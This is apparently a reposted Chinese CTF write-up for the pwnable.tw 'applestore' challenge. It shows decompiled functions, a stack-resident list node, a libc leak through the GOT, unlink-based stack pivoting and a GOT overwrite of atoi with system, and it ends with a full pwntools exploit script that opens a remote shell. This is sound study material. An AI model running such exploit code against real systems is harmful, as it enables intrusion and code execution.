zoukankan      html  css  js  c++  java
  • PWNABLE applestore

    查看文件基本信息

     

     分析程序行为

    该题是模拟了apple的商店,来售卖apple的各种产品,其提供了6个功能:

    • 1: 展示商店的商品
    • 2: 添加商品到购物车
    • 3: 从购物车里面将某一商品删除
    • 4: 展示购物车里面的商品
    • 5: 结算
    • 6: 退出

     静态分析

    先创建一个结构体:

     然后分析这块代码,每一个新添加的手机都是一个chunk,起始位置位于myCart上,是确定的,其后跟着其他的chunk,如下图:

    Phone *__cdecl insert(Phone *a1)
    {
      Phone *result; // eax
      Phone *i; // [esp+Ch] [ebp-4h]
    
      for ( i = (Phone *)&myCart; i->next; i = (Phone *)i->next )
        ;
      i->next = (int)a1;
      result = a1;
      a1->before = (int)i;
      return result;
    }

    在分析checkout()这个函数时,发现当总金额达到7174时,会自动添加一个1块钱的iPhone8,最关键的是,这一块chunk是放到栈上的!!!

     可以看到新添加的iPhone8的地址是在[ebp-20h]处。因为checkout(),cart(),delete()等函数在执行完后都会返回handler(),这就保证了返回时的EBP和ESP是相同的,然后再调用checkout(),cart(),delete()等函数时,EBP和ESP仍然相同。

    unsigned int checkout()
    {
      int v1; // [esp+10h] [ebp-28h]
      Phone v2; // [esp+18h] [ebp-20h] BYREF
      unsigned int v3; // [esp+2Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      v1 = cart();                                  // 计算多少钱
      if ( v1 == 7174 )
      {
        puts("*: iPhone 8 - $1");
        asprintf((char **)&v2, "%s", "iPhone 8");
        v2.price = 1;
        insert(&v2);
        v1 = 7175;
      }
      printf("Total: $%d\n", v1);
      puts("Want to checkout? Maybe next time!");
      return __readgsdword(0x14u) ^ v3;
    }

    所以可以在cart()中,在输入buf变量时,更改[ebp-0x20]的这块栈内存。进行泄露libc基址和覆盖GOT表。

    int cart()
    {
      int v0; // eax
      int v2; // [esp+18h] [ebp-30h]
      int v3; // [esp+1Ch] [ebp-2Ch]
      Phone *i; // [esp+20h] [ebp-28h]
      char buf[22]; // [esp+26h] [ebp-22h] BYREF
      unsigned int v6; // [esp+3Ch] [ebp-Ch]
    
      v6 = __readgsdword(0x14u);
      v2 = 1;
      v3 = 0;
      printf("Let me check your cart. ok? (y/n) > ");
      fflush(stdout);
      my_read(buf, 21u);
      if ( buf[0] == 'y' )
      {
        puts("==== Cart ====");
        for ( i = (Phone *)next; i; i = (Phone *)i->next )
        {
          v0 = v2++;
          printf("%d: %s - $%d\n", v0, (const char *)i->device, i->price);
          v3 += i->price;
        }
      }
      return v3;
    }

     动态分析

     其他的WP都写着要泄露EBP,然后用到了一个environ,然后这个EBP的地址就是泄露出来的environ-0x104,怎么来的好多WP没写,这里来写一写:

    这个要在脚本中写好的exp中进行调试,exp就是最下面的那个。然后在0x848c41这个地方下个断点。

     按s进入delete函数,然后在这里停下来

     然后 输入stack 50查看栈的情况:

     可以看到ebp的地址为0xffeaf268  而此时我们获取到的environ为0xffeaf36c。所以需要将environ-0x104才是ebp的位置。

     漏洞利用

     1.因为一块钱的iPhone8放在了栈上,并且这块栈可控。

    2.修改chunk的头上四字节为某一函数的GOT,从而求出libc基地址。

    3.利用求出的libc基地址,可以进一步得出environ变量的值。

    4.利用动态调试,得到ebp的地址为environ-0x104。

    5.调用delete函数,将next和before位置上的值分别设为got['atoi']-0x22和ebp-0x8,在unlink时,就会把ebp对应的那块栈内存设置成got['atoi']-0x22,并且通过函数结束时的pop ebp, 把这个got['atoi']-0x22弹入ebp寄存器当中。

    6.delete函数调用结束后会返回handler,因为它是一个while循环,所以并不是从handler最开始的地方开始执行,这样就保持了上一步修改的ebp寄存器当中的值不发生变化。

    7.如下图的handler的汇编语言显示,因为当前ebp寄存器中的值为got['atoi']-0x22,再加上0x22就是got['atoi']的位置,这里将system的地址与/bin/sh写入。当下面执行atoi函数时,其实就成立执行system函数了,并且参数为system的地址加/bin/sh,所以需要加个分号,从而最终得到shell。

     EXP

    from pwn import *
    context.log_level = 'debug'
    # io=process('./applestore')
    # io=gdb.debug('./applestore','b main')
    io=remote('chall.pwnable.tw','10104')
    elf=ELF('./applestore')
    # libc=ELF('/lib/i386-linux-gnu/libc.so.6')
    libc=ELF('libc.so.6')
    got_atoi=elf.got['atoi']
    def add(number):
        io.recvuntil('> ')
        io.sendline('2')
        io.recvuntil('Device Number> ')
        io.sendline(number)
    
    def check():
        io.recvuntil('>')
        io.sendline('5')
        io.recvuntil('Let me check your cart. ok? (y/n) > ')
        io.sendline('y')
    
    def cart(addr,addr2):
        io.recvuntil('> ')
        io.sendline('4')
        io.recvuntil('Let me check your cart. ok? (y/n) > ')
        io.sendline('y\x00'+addr+p32(0xdeadbeef)+addr2+p32(0xdeadbeef))
    
    for i in range(6):
        add('1')
    for i in range(20):
        add('2')
    check()
    
    cart(p32(got_atoi),p32(0x804B070))
    io.recvuntil('27: ')
    address_atoi=u32(io.recv(numb=4))
    print hex(address_atoi)
    libc.address=address_atoi-libc.sym['atoi']
    environ=libc.sym['environ']
    
    cart(p32(environ),p32(0x804B070))
    io.recvuntil('27: ')
    addr_stack=u32(io.recv(numb=4))
    print hex(addr_stack)
    addr_ebp=addr_stack-0x104
    
    io.recv()
    io.sendline('3')
    io.recvuntil('Item Number> ')
    io.sendline('27'+p32(0x08049068)+p32(0xdeadbeef)+p32(elf.got['atoi']+0x22)+p32(addr_ebp-0x8)) #最开始四字节需要为一个能访问的地址
    
    io.recvuntil('> ')
    io.sendline(p32(libc.sym['system'])+';/bin/sh\x00')
    io.interactive()
  • 相关阅读:
    Windows PowerShell 学习之——Cmdlet处理生命周期
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
  • 原文地址:https://www.cnblogs.com/sweetbaby/p/15546220.html
Copyright © 2011-2022 走看看